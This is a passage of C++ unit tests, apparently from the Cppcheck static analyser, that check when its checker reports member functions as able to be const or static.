j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B 